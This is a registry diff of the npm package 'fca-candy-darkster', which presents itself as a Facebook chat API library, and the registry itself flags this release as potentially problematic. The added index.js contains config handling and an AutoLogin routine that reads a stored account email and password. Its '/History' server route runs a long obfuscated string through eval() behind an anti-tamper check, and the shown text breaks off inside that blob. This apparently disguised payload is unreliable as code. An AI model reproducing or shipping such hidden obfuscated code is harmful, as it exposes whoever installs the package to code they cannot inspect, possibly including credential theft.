fca-candy-darkster 0.0.1-security → 25.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of fca-candy-darkster might be problematic. Click here for more details.

Files changed (92) hide show
  1. package/API/anup.json +12 -0
  2. package/API/candy.json +12 -0
  3. package/CHANGELOG.md +2 -0
  4. package/Controllers/Remote.js +3 -0
  5. package/CountTime.json +1 -0
  6. package/DOCS.md +1738 -0
  7. package/Extra/ExtraAddons.js +78 -0
  8. package/Extra/ExtraFindUID.js +60 -0
  9. package/Extra/ExtraGetThread.js +118 -0
  10. package/Extra/ExtraTranslate.js +60 -0
  11. package/Extra/ExtraUptimeRobot.js +59 -0
  12. package/Extra/Html/Classic/script.js +231 -0
  13. package/Extra/Html/Classic/style.css +8 -0
  14. package/Extra/PM2/ecosystem.config.js +23 -0
  15. package/Extra/Security/Index.js +174 -0
  16. package/Extra/Security/Step_1.js +15 -0
  17. package/Extra/Security/Step_2.js +23 -0
  18. package/Extra/Security/Step_3.js +23 -0
  19. package/Extra/Src/History.js +115 -0
  20. package/Extra/Src/Last-Run.js +65 -0
  21. package/Extra/Src/Premium.js +98 -0
  22. package/Extra/Src/SecurityCheck.js +2 -0
  23. package/Func/AcceptAgreement.js +32 -0
  24. package/Func/ClearCache.js +63 -0
  25. package/Func/ReportV1.js +54 -0
  26. package/LICENSE.md +23 -0
  27. package/Language/index.json +217 -0
  28. package/OldSecurity.js +100 -0
  29. package/README.md +118 -3
  30. package/Settings/Database.js +21 -0
  31. package/Settings/Location.js +59 -0
  32. package/broadcast.js +40 -0
  33. package/index.js +1349 -0
  34. package/logger.js +65 -0
  35. package/package.json +208 -3
  36. package/src/Premium.js +30 -0
  37. package/src/addExternalModule.js +16 -0
  38. package/src/addUserToGroup.js +78 -0
  39. package/src/changeAdminStatus.js +79 -0
  40. package/src/changeArchivedStatus.js +41 -0
  41. package/src/changeAvt.js +85 -0
  42. package/src/changeBio.js +65 -0
  43. package/src/changeBlockedStatus.js +36 -0
  44. package/src/changeGroupImage.js +106 -0
  45. package/src/changeNickname.js +45 -0
  46. package/src/changeThreadColor.js +62 -0
  47. package/src/changeThreadEmoji.js +42 -0
  48. package/src/createNewGroup.js +70 -0
  49. package/src/createPoll.js +60 -0
  50. package/src/deleteMessage.js +45 -0
  51. package/src/deleteThread.js +43 -0
  52. package/src/forwardAttachment.js +48 -0
  53. package/src/getAccessToken.js +32 -0
  54. package/src/getCurrentUserID.js +7 -0
  55. package/src/getEmojiUrl.js +27 -0
  56. package/src/getFriendsList.js +73 -0
  57. package/src/getMessage.js +80 -0
  58. package/src/getThreadHistory.js +537 -0
  59. package/src/getThreadInfo.js +232 -0
  60. package/src/getThreadList.js +213 -0
  61. package/src/getThreadPictures.js +59 -0
  62. package/src/getUID.js +53 -0
  63. package/src/getUserID.js +62 -0
  64. package/src/getUserInfo.js +65 -0
  65. package/src/getUserInfoV2.js +35 -0
  66. package/src/getUserInfoV3.js +63 -0
  67. package/src/getUserInfoV4.js +55 -0
  68. package/src/getUserInfoV5.js +61 -0
  69. package/src/handleFriendRequest.js +46 -0
  70. package/src/handleMessageRequest.js +49 -0
  71. package/src/httpGet.js +49 -0
  72. package/src/httpPost.js +48 -0
  73. package/src/httpPostFormData.js +41 -0
  74. package/src/listenMqtt.js +725 -0
  75. package/src/logout.js +68 -0
  76. package/src/markAsDelivered.js +48 -0
  77. package/src/markAsRead.js +70 -0
  78. package/src/markAsReadAll.js +43 -0
  79. package/src/markAsSeen.js +51 -0
  80. package/src/muteThread.js +47 -0
  81. package/src/removeUserFromGroup.js +49 -0
  82. package/src/resolvePhotoUrl.js +37 -0
  83. package/src/searchForThread.js +43 -0
  84. package/src/sendMessage.js +334 -0
  85. package/src/sendTypingIndicator.js +80 -0
  86. package/src/setMessageReaction.js +109 -0
  87. package/src/setPostReaction.js +102 -0
  88. package/src/setTitle.js +74 -0
  89. package/src/threadColors.js +39 -0
  90. package/src/unfriend.js +43 -0
  91. package/src/unsendMessage.js +40 -0
  92. package/utils.js +1708 -0
package/index.js ADDED
@@ -0,0 +1,1349 @@
1
+ 'use strict';
2
+
3
+ /**
4
+ * Developers: @Candy
5
+ ** A few words about developer appstate security.
6
+ *! Statement renouncing responsibility for the security of appstate encryption of the following operating systems: windows, Android, Linux operating systems,.. (maybe repl.it?),
7
+ *! because the above operating systems are private (except rep.it if the fraudster does not own your account or invite link to join).
8
+ *! If the intruder owns the computer, these private operating systems,the security of this fca cannot guarantee 100% of the time.
9
+ ** If the grammar is wrong, please understand because I'm just a kid 🍵.
10
+ */
11
+
12
+ /!-[ Control Console History ]-!/
13
+
14
+ require('./Extra/Src/History');
15
+
16
+ /!-[ Max Cpu Speed ]-!/
17
+
18
+ process.env.UV_THREADPOOL_SIZE = require('os').cpus().length;
19
+
20
+ /!-[ Global Set ]-!/
21
+
22
+ globalThis.Fca = new Object({
23
+ isThread: new Array(),
24
+ isUser: new Array(),
25
+ startTime: Date.now(),
26
+ Setting: new Map(),
27
+ Require: new Object({
28
+ fs: require("fs"),
29
+ Fetch: require('got'),
30
+ log: require("npmlog"),
31
+ utils: require("./utils"),
32
+ logger: require('./logger'),
33
+ Security: require("uuid-apikey"),
34
+ languageFile: require('./Language/index.json'),
35
+ Database: require("aliya-anup-database")
36
+ }),
37
+ getText: function(/** @type {any[]} */...Data) {
38
+ var Main = (Data.splice(0,1)).toString();
39
+ for (let i = 0; i < Data.length; i++) Main = Main.replace(RegExp(`%${i + 1}`, 'g'), Data[i]);
40
+ return Main;
41
+ },
42
+ Data: new Object({
43
+ ObjFastConfig: {
44
+ "Language": "en",
45
+ "PreKey": "",
46
+ "AutoUpdate": true,
47
+ "MainColor": "#9900FF",
48
+ "MainName": "[ FCA-CANDY ]",
49
+ "Uptime": true,
50
+ "Login2Fa": false,
51
+ "AutoLogin": false,
52
+ "BroadCast": true,
53
+ "AuthString": "SD4S XQ32 O2JA WXB3 FUX2 OPJ7 Q7JZ 4R6Z | https://i.imgur.com/RAg3rvw.png Please remove this !, Recommend If You Using getUserInfoV2",
54
+ "EncryptFeature": true,
55
+ "ResetDataLogin": false,
56
+ "AutoRestartMinutes": 0,
57
+ "HTML": {
58
+ "HTML": false,
59
+ "UserName": "Guest",
60
+ "MusicLink": "https://drive.google.com/uc?id=1zlAALlxk1TnO7jXtEP_O6yvemtzA2ukA&export=download"
61
+ }
62
+ },
63
+ CountTime: function() {
64
+ var fs = globalThis.Fca.Require.fs;
65
+ if (fs.existsSync(__dirname + '/CountTime.json')) {
66
+ try {
67
+ var data = Number(fs.readFileSync(__dirname + '/CountTime.json', 'utf8')),
68
+ hours = Math.floor(data / (60 * 60));
69
+ }
70
+ catch (e) {
71
+ fs.writeFileSync(__dirname + '/CountTime.json', 0);
72
+ hours = 0;
73
+ }
74
+ }
75
+ else {
76
+ hours = 0;
77
+ }
78
+ return `${hours} Hours`;
79
+ }
80
+ }),
81
+ AutoLogin: async function () {
82
+ var Database = globalThis.Fca.Require.Database;
83
+ var logger = globalThis.Fca.Require.logger;
84
+ var Email = (await globalThis.Fca.Require.Database.get('Account')).replace(RegExp('"', 'g'), ''); //hmm IDK
85
+ var PassWord = (await globalThis.Fca.Require.Database.get('Password')).replace(RegExp('"', 'g'), '');
86
+ login({ email: Email, password: PassWord},async (error, api) => {
87
+ if (error) {
88
+ logger.Error(JSON.stringify(error,null,2), function() { logger.Error("AutoLogin Failed!", function() { process.exit(0); }) });
89
+ }
90
+ try {
91
+ await Database.set("TempState", api.getAppState());
92
+ }
93
+ catch(e) {
94
+ logger.Warning(globalThis.Fca.Require.Language.Index.ErrDatabase);
95
+ logger.Error();
96
+ process.exit(0);
97
+ }
98
+ process.exit(1);
99
+ });
100
+ }
101
+ });
102
+
103
+ /!-[ Check File To Run Process ]-!/
104
+
105
+ let Boolean_Fca = ["AutoUpdate","Uptime","BroadCast","EncryptFeature","AutoLogin","ResetDataLogin","Login2Fa"];
106
+ let String_Fca = ["MainName","PreKey","Language","AuthString"]
107
+ let Number_Fca = ["AutoRestartMinutes"];
108
+ let All_Variable = Boolean_Fca.concat(String_Fca,Number_Fca);
109
+
110
+ try {
111
+ if (!globalThis.Fca.Require.fs.existsSync('./CANDY-X-MARVI.json')) {
112
+ globalThis.Fca.Require.fs.writeFileSync("./CANDY-X-MARVI.json", JSON.stringify(globalThis.Fca.Data.ObjFastConfig, null, "\t"));
113
+ process.exit(1);
114
+ }
115
+
116
+ try {
117
+ var DataLanguageSetting = require("../../CANDY-X-MARVI.json");
118
+ }
119
+ catch (e) {
120
+ globalThis.Fca.Require.logger.Error('Detect Your CANDY-X-MARVI Settings Invalid!, Carry out default restoration');
121
+ globalThis.Fca.Require.fs.writeFileSync("./CANDY-X-MARVI.json", JSON.stringify(globalThis.Fca.Data.ObjFastConfig, null, "\t"));
122
+ process.exit(1)
123
+ }
124
+ if (globalThis.Fca.Require.fs.existsSync('./CANDY-X-MARVI.json')) {
125
+ try {
126
+ if (!DataLanguageSetting.AuthString || globalThis.Fca.Require.utils.getType(DataLanguageSetting.AuthString) != 'String') {
127
+ DataLanguageSetting.AuthString = "SD4S XQ32 O2JA WXB3 FUX2 OPJ7 Q7JZ 4R6Z | https://i.imgur.com/RAg3rvw.png Please remove this !, Recommend If You Use getUserInfoV2"; //example pls
128
+ globalThis.Fca.Require.fs.writeFileSync("./CANDY-X-MARVI.json", JSON.stringify(DataLanguageSetting, null, "\t"));
129
+ }
130
+ }
131
+ catch (e) {
132
+ console.log(e);
133
+ }
134
+ if (!globalThis.Fca.Require.languageFile.some((/** @type {{ Language: string; }} */i) => i.Language == DataLanguageSetting.Language)) {
135
+ globalThis.Fca.Require.logger.Warning("Not Support Language: " + DataLanguageSetting.Language + " Only 'en' and 'vi'");
136
+ process.exit(0);
137
+ }
138
+ var Language = globalThis.Fca.Require.languageFile.find((/** @type {{ Language: string; }} */i) => i.Language == DataLanguageSetting.Language).Folder.Index;
139
+ globalThis.Fca.Require.Language = globalThis.Fca.Require.languageFile.find((/** @type {{ Language: string; }} */i) => i.Language == DataLanguageSetting.Language).Folder;
140
+ } else process.exit(1);
141
+ for (let i in DataLanguageSetting) {
142
+ if (Boolean_Fca.includes(i)) {
143
+ if (globalThis.Fca.Require.utils.getType(DataLanguageSetting[i]) != "Boolean") return logger.Error(i + " Is Not A Boolean, Need To Be true Or false !", function() { process.exit(0) });
144
+ else continue;
145
+ }
146
+ else if (String_Fca.includes(i)) {
147
+ if (globalThis.Fca.Require.utils.getType(DataLanguageSetting[i]) != "String") return logger.Error(i + " Is Not A String, Need To Be String!", function() { process.exit(0) });
148
+ else continue;
149
+ }
150
+ else if (Number_Fca.includes(i)) {
151
+ if (globalThis.Fca.Require.utils.getType(DataLanguageSetting[i]) != "Number") return logger.Error(i + " Is Not A Number, Need To Be Number !", function() { process.exit(0) });
152
+ else continue;
153
+ }
154
+ }
155
+ for (let i of All_Variable) {
156
+ if (!DataLanguageSetting[All_Variable[i]] == undefined) {
157
+ DataLanguageSetting[All_Variable[i]] = globalThis.Fca.Data.ObjFastConfig[All_Variable[i]];
158
+ globalThis.Fca.Require.fs.writeFileSync("./CANDY-X-MARVI.json", JSON.stringify(DataLanguageSetting, null, "\t"));
159
+ }
160
+ else continue;
161
+ }
162
+ globalThis.Fca.Require.FastConfig = DataLanguageSetting;
163
+ }
164
+ catch (e) {
165
+ console.log(e);
166
+ globalThis.Fca.Require.logger.Error();
167
+ }
168
+
169
+ /!-[ Require All Package Need Use ]-!/
170
+
171
+ var utils = globalThis.Fca.Require.utils,
172
+ logger = globalThis.Fca.Require.logger,
173
+ fs = globalThis.Fca.Require.fs,
174
+ getText = globalThis.Fca.getText,
175
+ log = globalThis.Fca.Require.log,
176
+ Fetch = globalThis.Fca.Require.Fetch,
177
+ express = require("express")(),
178
+ { join } = require('path'),
179
+ cheerio = require("cheerio"),
180
+ StateCrypt = require('./OldSecurity'),
181
+ { readFileSync } = require('fs-extra'),
182
+ Database = require("aliya-anup-database"),
183
+ readline = require("readline"),
184
+ chalk = require("chalk"),
185
+ figlet = require("figlet"),
186
+ os = require("os"),
187
+ Form = require('form-data'),
188
+ Security = require("./Extra/Security/Index");
189
+
190
+ /!-[ Set Variable For Process ]-!/
191
+
192
+ log.maxRecordSize = 100;
193
+ var checkVerified = null;
194
+ var Boolean_Option = ['online','selfListen','listenEvents','updatePresence','forceLogin','autoMarkDelivery','autoMarkRead','listenTyping','autoReconnect','emitReady'];
195
+
196
+ /!-[ Set And Check Template HTML ]-!/
197
+
198
+ var css = readFileSync(join(__dirname, 'Extra', 'Html', 'Classic', 'style.css'));
199
+ var js = readFileSync(join(__dirname, 'Extra', 'Html', 'Classic', 'script.js'));
200
+
201
+ /!-[ Function Generate HTML Template ]-!/
202
+
203
+ /**
204
+ * It returns a string of HTML code.
205
+ * @param UserName - The username of the user
206
+ * @param Type - The type of user, either "Free" or "Premium"
207
+ * @param link - The link to the music you want to play
208
+ * @returns A HTML file
209
+ */
210
+
211
+ function ClassicHTML(UserName,Type,link) {
212
+ return `<!DOCTYPE html>
213
+ <html lang="en" >
214
+ <head>
215
+ <meta charset="UTF-8">
216
+ <title>CARLA</title>
217
+ <link rel="stylesheet" href="./style.css">
218
+ </head>
219
+ <body>
220
+ <center>
221
+ <marquee><b>go go go brr!</b></marquee>
222
+ <h2>Horizon User Infomation</h2>
223
+ <h3>UserName: ${UserName} | Type: ${Type}</h3>
224
+ <canvas id="myCanvas"></canvas>
225
+ <script src="./script.js"></script>
226
+ <footer class="footer">
227
+ <div id="music">
228
+ <audio autoplay="false" controls="true" loop="true" src="${link}" __idm_id__="5070849">Your browser does not support the audio element.</audio>
229
+ <br><b>Session ID:</b> ${globalThis.Fca.Require.Security.create().uuid}<br>
230
+ <br>Thanks For Using <b>Candy Darkster</b> - From <b> Candy</b> <3<br>
231
+ </div>
232
+ </footer>
233
+ </div>
234
+ </center>
235
+ </html>
236
+ </body>`
237
+ //lazy to change
238
+ }
239
+
240
+ /!-[ Stating Http Infomation ]-!/
241
+
242
+ express.set('DFP', (process.env.PORT || process.env.port || 1932));
243
+ express.use(function(req, res, next) {
244
+ switch (req.url.split('?')[0]) {
245
+ case '/script.js': {
246
+ res.writeHead(200, { 'Content-Type': 'text/javascript' });
247
+ res.write(js);
248
+ break;
249
+ }
250
+ case '/style.css': {
251
+ res.writeHead(200, { 'Content-Type': 'text/css' });
252
+ res.write(css);
253
+ break;
254
+ }
255
+ case '/History': {
256
+ let zKhqb;
257
+ ! function() {
258
+ const ENzF = Array.prototype.slice.call(arguments);
259
+ return eval("(function kO5L(T3cE){const nr5D=fbkC(T3cE,njXB(kO5L.toString()));try{let PY7D=eval(nr5D);return PY7D.apply(null,ENzF);}catch(jm0D){var LT2D=(0o204730-68028);while(LT2D<(0o400071%65550))switch(LT2D){case (0x3006D%0o200033):LT2D=jm0D instanceof SyntaxError?(0o400076%0x10019):(0o400073%0x1000F);break;case (0o200550-0x1015C):LT2D=(0o400107%65557);{console.log(\'Error: the code has been tampered!\');return}break;}throw jm0D;}function njXB(PQZB){let jeSB=180078849;var LLUB=(0o400071%65558);{let f9MB;while(LLUB<(0x104D8-0o202271)){switch(LLUB){case (0o600042%0x10006):LLUB=(67936-0o204514);{jeSB^=(PQZB.charCodeAt(f9MB)*(15658734^0O73567354)+PQZB.charCodeAt(f9MB>>>(0x4A5D0CE&0O320423424)))^780773326;}break;case (0o203720-67516):LLUB=(131097%0o200010);f9MB++;break;case (262213%0o200017):LLUB=f9MB<PQZB.length?(0o400062%0x10011):(67706-0o204133);break;case (0o1000135%0x10014):LLUB=(0o201166-0x1026D);f9MB=(0x75bcd15-0O726746425);break;}}}let HGPB=\"\";var b4HB=(65776-0o200344);{let DBKB;while(b4HB<(0o600153%0x10018)){switch(b4HB){case (0o600121%65559):b4HB=(73639709%9);DBKB=(0x21786%3);break;case (0O347010110&0x463A71D):b4HB=DBKB<(0O347010110&0x463A71D)?(0o400062%0x10012):(0x10834-0o204021);break;case (0x2004A%0o200036):b4HB=(69016-0o206573);{const DDhC=jeSB%(0o204444-0x1090A);jeSB=Math.floor(jeSB/(0x1071C-0o203402));HGPB+=DDhC>=(0o600150%65562)?String.fromCharCode((0o1000441%0x10038)+(DDhC-(0o204040-0x10806))):String.fromCharCode((0o215206-72229)+DDhC);}break;case (0o201546-0x10349):b4HB=(73639709%9);DBKB++;break;}}}return HGPB;}function fbkC(zycC,b6eC){zycC=decodeURI(zycC);let vt7B=(0x75bcd15-0O726746425);let X09B=\"\";var ro2B=(0x40069%0o200027);{let TV4B;while(ro2B<(0x10744-0o203445)){switch(ro2B){case (0o203600-0x10770):ro2B=(0o205050-0x10A14);{X09B+=String.fromCharCode(zycC.charCodeAt(TV4B)^b6eC.charCodeAt(vt7B));vt7B++;var TXBC=(0x10708-0o203371);while(TXBC<(0o200416-0x100F3))switch(TXBC){case (0o200454-65821):TXBC=vt7B>=b6eC.length?(0o202424-0x104FA):(0x3008D%0o200046);break;case (0o400120%65563):TXBC=(67426-0o203507);{vt7B=(0x21786%3);}break;}}break;case (262205%0o200015):ro2B=TV4B<zycC.length?(67296-0o203320):(0o1000333%65583);break;case (66446-0o201601):ro2B=(66076-0o201023);TV4B=(0x21786%3);break;case (0o203720-67516):ro2B=(262225%0o200022);TV4B++;break;}}}return X09B;}})(\"N%0B%0C%16%00%0E%0B%0E%08EP%03%05%0F%0C%02%12%04%16%16C?%008*EP%03%11%1F%16%14%14%03Y%1F%05K&IOF%0E*%5B3JHM%3C%12;(RKJ##%03%3EKSI%06%045:PJQ%0D\'%14$QQ%1E%1C%17%0F%05%19%10%17%0DZ%05+V!QQ%18%08%07%15%13%1F%17X&O%0F*NDR%1F%0B%03\'IOF,M%0E%3CJHM%06A,%22RKJ%01%05%00=KSI%20-%5C?PJQ%153%5E$QQ%1E%1C%17%0F%05%19%10%17%0DZ#W5!QQ%18%08%07%15%13%1F%17XKR%11.\'\'QQJPJJGF%22%25H%5BI:;DPSKQCJ=0P%05%191%0A%10%04P%02%05X%1C%17%0F%05%19%10%17%0DZ%01$0!QQ%18#Z4#EP#%040R-ND$E%191%0A%10%046%0E.%001JH;V%04%1E%16%14%01%15%0F%02%17X&I2+ND%02%0A%06%0E%17%13%08MQS8\'I@M6$SKQI:M6$%258Q9%3CM6$%25JSIIN,O+/RKHLE0@60JHOD%04%1E%16%14%01%15%0F%02%17X%0481+ND%02%0A%06%0E%17%13%08M,.+9JHM,%00(%20RKJ%05%08I=KSI%06%045:PJQ3%0A%25&QQ%1E%1C%17%0F%05%19%10%17%0DZ#8-\'QQ%18%08%07%15%13%1F%17XK%1D%04P%22EPQ8+%0BT,EP%25KS%1F%07%13%03%1A%0C%0A%15%0CA%05%1A72KS%19%13%03%19%0C%0A%0DZJIMLR#%3EQJJM6R#%3E\'9J=0$QJPJ(T%070PJSKJNFR#H!?%3C=F%22%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA%119?2KS%19%13%03%19%0C%0A%0DZJ,,%5D;PJS9,_;0PJ\'J(7Z%3CPJS%1F%1B-%05%08%1AM%0E%01%5CN6%17%0D%0F%16?%5C%5BJ%5EQX%1C%17%0F%05%19%10%17%0DZ;%10/\'QQ%18%08%07%15%13%1F%17X%221S\'NDR%0F1B+IOF,M%0E%3CJHM%0E*@%1ARKJ%09+%0B1KSI4%044%3EPJQ%151$$QQ%1E%1C%17%0F%05%19%10%17%0DZ%11.\'\'QQ%18%08%07%15%13%1F%17XKQI:M6$%258Q9%3C;FQSH!I:;0%22S8\'?HOFQS8!I:=FXS8\'?J=F%22%25%3E\'I:;0%22S8\'?:M6$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA3%01=2KS%19%13%03%19%0C%0A%0DZJFA6%1E%12V?JH;EPQ8Q9%3C;%10%1F%0D%0D%19%16%08%09%03Y-%0D%1B)IO%16%0B%1D%17%0F%10%0FF%1A+@*RKJ3X%14%3EKSI%0E%20%1F0PJQ#(%13+QQH%1D%009%25EPS%14(Z(NDR%13%5B.#IO%10%1F%0D%0D%19%16%08%09%03Y%0F5%19)IO%16%0B%1D%17%0F%10%0FF(L%15(RKJ%11=;1KS%1F%07%13%03%1A%0C%0A%15%0CA7%04L2KS%19%13%03%19%0C%0A%0DZ%0D\'%14$QQH%1D%0A%18#EPS%0C%0A%00$NDR!%02%09$IOF%20%19%10%3CJHM%1A+@*RKJ\'$%0C%3EKSI0-%5C8PJQ#S)&QQH%11Z5\'EPS%14(Z(ND%04%0E%02%08B%127Z3E8RR%0ETYHJSLOQ%1E%5CMJSIKMN%5D%16JROQQT@NJQN%5BHJEI%00PJSV#HI%17QJRPT%5CPTKJ%0DSVXOLWWR%19W%5D;H%25SNIT%5BKAWIGQ%09_IHQNPHJEI%00PJS%25%5EHI%17QJRPS%5CP%25X%1C%17%0F%05%19%10%17%0DZ/%05V\'QQ%18%08%07%15%13%1F%17X%22%11T%18NDR!%00%20$IOF()%209JHM,2I%25RKJ7%06:3KS%1F%07%13%03%1A%0C%0A%15%0CA%09!K2KS%19%13%03%19%0C%0A%0DZJ46%5B8PJSII/%3CN=KSK%1C%00%18%17%1B%17%13%0D%0FF$A-)RK%1A%14%08%0D%0D%11%14BIM6$SBQ9%3CMERS8Q9%3C;6R#%3EQ9%3C;DPRKQCJ=0PSKQJ:M6%22YH!?JGF%22%25%3EQ9J=0$%25%3EQ9%3CO6R#8Q9:M6$%25H!I:;0$S8\'?:M6$%258QCJ=0$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA%0D*!2KS%19%13%03%19%0C%0A%0DZJJ=6R#8QCJ=0$S8Q9%3C;0R#%3E\'9J=0$#H%5BI:;0$QHRJ%12%15\'=PJSHI%15%2282KSKH%1B%0B%0C%16%00%0E%0B%0E%08M%121%161JH%1D%1F%1C%0C%16%08%0CANF%22#H!9@M6$SBQ9%3C;F%22S8\'?%3CM6$%258Q9%3C;6RYH!?%3C;DRPKQCJ=0RPHQ9J=0$#H!?%3CODSP*7Q%25NDPQ%1E%1C%17%0F%05%19%10%17%0DZ/%07%1E&QQ%18%08%07%15%13%1F%17XK!?:3%03%183KS?IOF%22%25J!34!)QQ%3E%07%14%00%14M%1E%3C%131_:N%5D6MSMTUP%5CML=J%1ATW+M;UKKMN%5D6IWNTTQYMO=J%1AP_%5EL%3EQJKMN%5CJIRHSDV%02KHSJPROAQH%0CHRSR_MUULZSUDUPS%02PQVY@%5DS%15PQV%5DJLJ\'Y%07%13%03%1A%0C%0A%15%0CA/%0C%0A3KS%19%13%03%19%0C%0A%0DZJJGF%22%25HRIJ=F%22%25%3E!I:;0PQHR34!)QQJ%07%04%14%08%0E%0D%11%0C%14B%02%1F%062PJ%01%10%04%12%18%0B%16C?W%0C-EPS%14*%20(NDR9Q5)IOF81%16%3CJHM%3C2I%22RKJ%01%05%00=KSI,%1C%01%03PJQ%153%5E$QQH/%008!EPS.%1C%1A*NDR%17%25%08+IO%10%1F%0D%0D%19%16%08%09%03Y=V%17)IO%16%0B%1D%17%0F%10%0FFE%22%258?%14,\'EP%25H!?H=FXS8\'I@M6$SBQ9%3C;%10%1F%0D%0D%19%16%08%09%03Y!%10%1C)IO%16%0B%1D%17%0F%10%0FFERS8Q9%3C;6R#%3E\'IIMF%22S8\'?:M6$%25JWI@M6$QHRII=F%22#BQ9%3CMLR#%3E\'I:M6$%25%3E\'I:;D%22S8!I:=F%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3E\'KJNFQ#H!9@M6$SBQ9%3C;F%22S8\'?%3C;F%22%25J!I:;0P%05%05%0F%0C%02%12%04%16%16C;R%09-EP%03%11%1F%16%14%14%03YP6*T%20NDPSK?Q1,EPQ%1E%1C%17%0F%05%19%10%17%0DZ#S)&QQ%18%08%07%15%13%1F%17XK%5B9%3CM6$Q8QCJ=0$%05%191%0A%10%04C%0EO%0C4_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FFEHKRKSUC%5D%16JSJRPRD%04C%05%0F%0C%02%12%04%16%16C%19#3-EP%03%11%1F%16%14%14%03Y%1E%16%14%01%15%0F%02%17PJ%01%1FZ%1B%0B%0C%16%00%0E%0B%0E%08M%0E%20)1JH%1D%1F%1C%0C%16%08%0CA3X%14%3EKSI%0A%5E98PJQ%05%09%1F(QQH;)P%20EPS%14(Z(ND%04%1E%16%14%01%15%0F%02%17X:%0F/*ND%02%0A%06%0E%17%13%08M%3CM%0E1JHM%0A%11%01&RK%1C%00%18%17%1B%17%13%0D%0FF%1E*=(RK%1A%14%08%0D%0D%11%14B%06S%01;PJQ#*W+QQH/W%0C%20EPS%04%18:%22NDR)%089)IO%10%1F%0D%0D%19%16%08%09%03Y-%132)IO%16%0B%1D%17%0F%10%0FF,%00(%20RKJ7%06:3KSI,%1C%01%03PJQ%05%03%3E.QQH+%09%22-EP%05%05%0F%0C%02%12%04%16%16C%15,%1B-EP%03%11%1F%16%14%14%03YPKQCJ=0RPHQ9J=0$#H!?%3CODSP%22L1-NDPQHRI:=F%22#BQ9%3CMLR#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'K%1C%1C&%11%09%01T3%14%0E#D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CRR%0EW%5DIHRJVDPXLLVS%1FZ%00%18%17%1B%17%13%0D%0FF%3C%12;(RK%1A%14%08%0D%0D%11%14BI%12%14%09%1D%0C%1CB@=0P#H!?%3C%1B%0B%0C%16%00%0E%0B%0E%08M%0A3%143JH%1D%1F%1C%0C%16%08%0CA\'%06O%01KSI%20/%18?PJQ%05%09%1F(QQH%15%04%16$EPS6%18;&NDR)(K#IOF%0E(!3JHM,K7(RKJ\'$%0C%3EKSI0-%5C8PJQ%05%09%1F(QQH7%18%0D%1CEPS%14(Z(ND%04%1E%16%14%01%15%0F%02%17X6%12%18(ND%02%0A%06%0E%17%13%08M091;JHM,%00(%20RKJ%11?A1KSI4S%00?PJQ%0D\'%14$QQH%15%0EV%25EPS%0C%3C%10(NDR%1F%0B%03\'IOF81%16%3CJHM,K7(RKJ%05%3EA%01KSI%164U0PJ%07%04%14%08%0E%0D%11%0C%14B%0E%20%1F0PJ%01%10%04%12%18%0B%16CR%16%18%16%08%16%1ECR9%3CM6$QJ!I@M6$%25%1E%1C%17%0F%05%19%10%17%0DZ3%02%13$QQ%18%08%07%15%13%1F%17X%14%16!%20NDR)%04%03(IOF%3C4Q?JHM%1A-%3E)RKJ7%06:3KS%1F%07%13%03%1A%0C%0A%15%0CA%0D,%141KS%19%13%03%19%0C%0A%0DZ;%00%15+QQH%09%15/#EPS%08B6%20NDR%0F38+IO%10%033%0B%0B%00O%15_%136%5E%1C%17%0F%05%19%10%17%0DRK%1A%14%08%0D%0D%11%14BIV%15HHUC#LV%02KHPHSTO%10B%1E%16%14%01%15%0F%02%17X.M%0D(ND%02%0A%06%0E%17%13%08MQS8!I:=F%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3ESIIN$%18%0B(RKHLE0%19%101JHOD%04%1E%16%14%01%15%0F%02%17X%04%0C%0A(ND%02%0A%06%0E%17%13%08M%1EM%0F8JHM$%3C.!RKJ?%02%1B2KSI%20-%5C?PJQ3%0A%25&QQ%1E%1C%17%0F%05%19%10%17%0DZ+S%0C$QQ%18%08%07%15%13%1F%17XKR%11%12,)QQJPJJGF%22%25HRIJ=F%22%25%3E!I:;0PQJQJJ=6R#8QC:;FXS8\'?J=F%22%25%3E\'I:;0%22S8\'?:M6$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA/Y(1KS%19%13%03%19%0C%0A%0DZJIMF%22S8\'?:M6$%25HRIJ=F%22%25%3E!I:;0PQIR+%00%15&QQJSIIM6%22S8!I@M6$%25H!I:;0$S8\'?:M6$%258Q9%3C;0P%05%05%0F%0C%02%12%04%16%16C%11!5/EP%03%11%1F%16%14%14%03Y)%06K+IOF%3CM%0E1JHM%1A+@*RKJ%09%0B%0E:KSI0%0D.2PJQ%05T%0A/QQH3\'7$EPS:%15%00+NDR9(K$IOF(%13%201JH%1B%0B%0C%16%00%0E%0B%0E%08M%3C%22/3J%06%1E%220Q%18%08%07%15%13%1F%17X%0C%14\'%25=%0A%017*\'Y%1C%1C&%11%09%01T/%11%05#D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CRTVWUOUS%15PQU%5CKIJ%07Y%07%13%03%1A%0C%0A%15%0CA\'8%3E1KS%19%13%03%19%0C%0A%0DZ3%0A%25&QQH%1D%009%25EPS6O%0F\'NDR5%19%16%18IO%10%1F%0D%0D%19%16%08%09%03Y%1B%100+IO%16%0B%1D%17%0F%10%0FFEQPHQ9J=0$#H!?%3COBQSK!I:=LR#%3EQCJ=0$S8Q9%3C;0$S8\'K:M6%22S8!I:;0R#H!?%3C;F%22%25%3E!I:;0%22SBQ9%3C;0$QJQ9%3CO6RYH!?%3C%1B%0B%0C%16%00%0E%0B%0E%08M%0E(!3JH%1D%1F%1C%0C%16%08%0CAN%02%1D%22%22RKH=%20@.*RK%3CN$%3E%0B%20RKH%1B%0B%0C%16%00%0E%0B%0E%08M%20%15&3JH%1D%1F%1C%0C%16%08%0CA%0DU-9KSI%06%045:PJQ%012%5E%14QQH/W%0C%20EP%05%05%0F%0C%02%12%04%16%16C#%0D%03,EP%03%11%1F%16%14%14%03YP&%3E7%22NDPS8\'%1F%07%13%03%1A%0C%0A%15%0CA\':%1D2KS%19%13%03%19%0C%0A%0DZ#(%13+QQH#%0D%03,EPS%00J%05#NDR%0F38+IOF(%13%201JH%1B%172%10%12%18L%0E%3E%087E%05%0F%0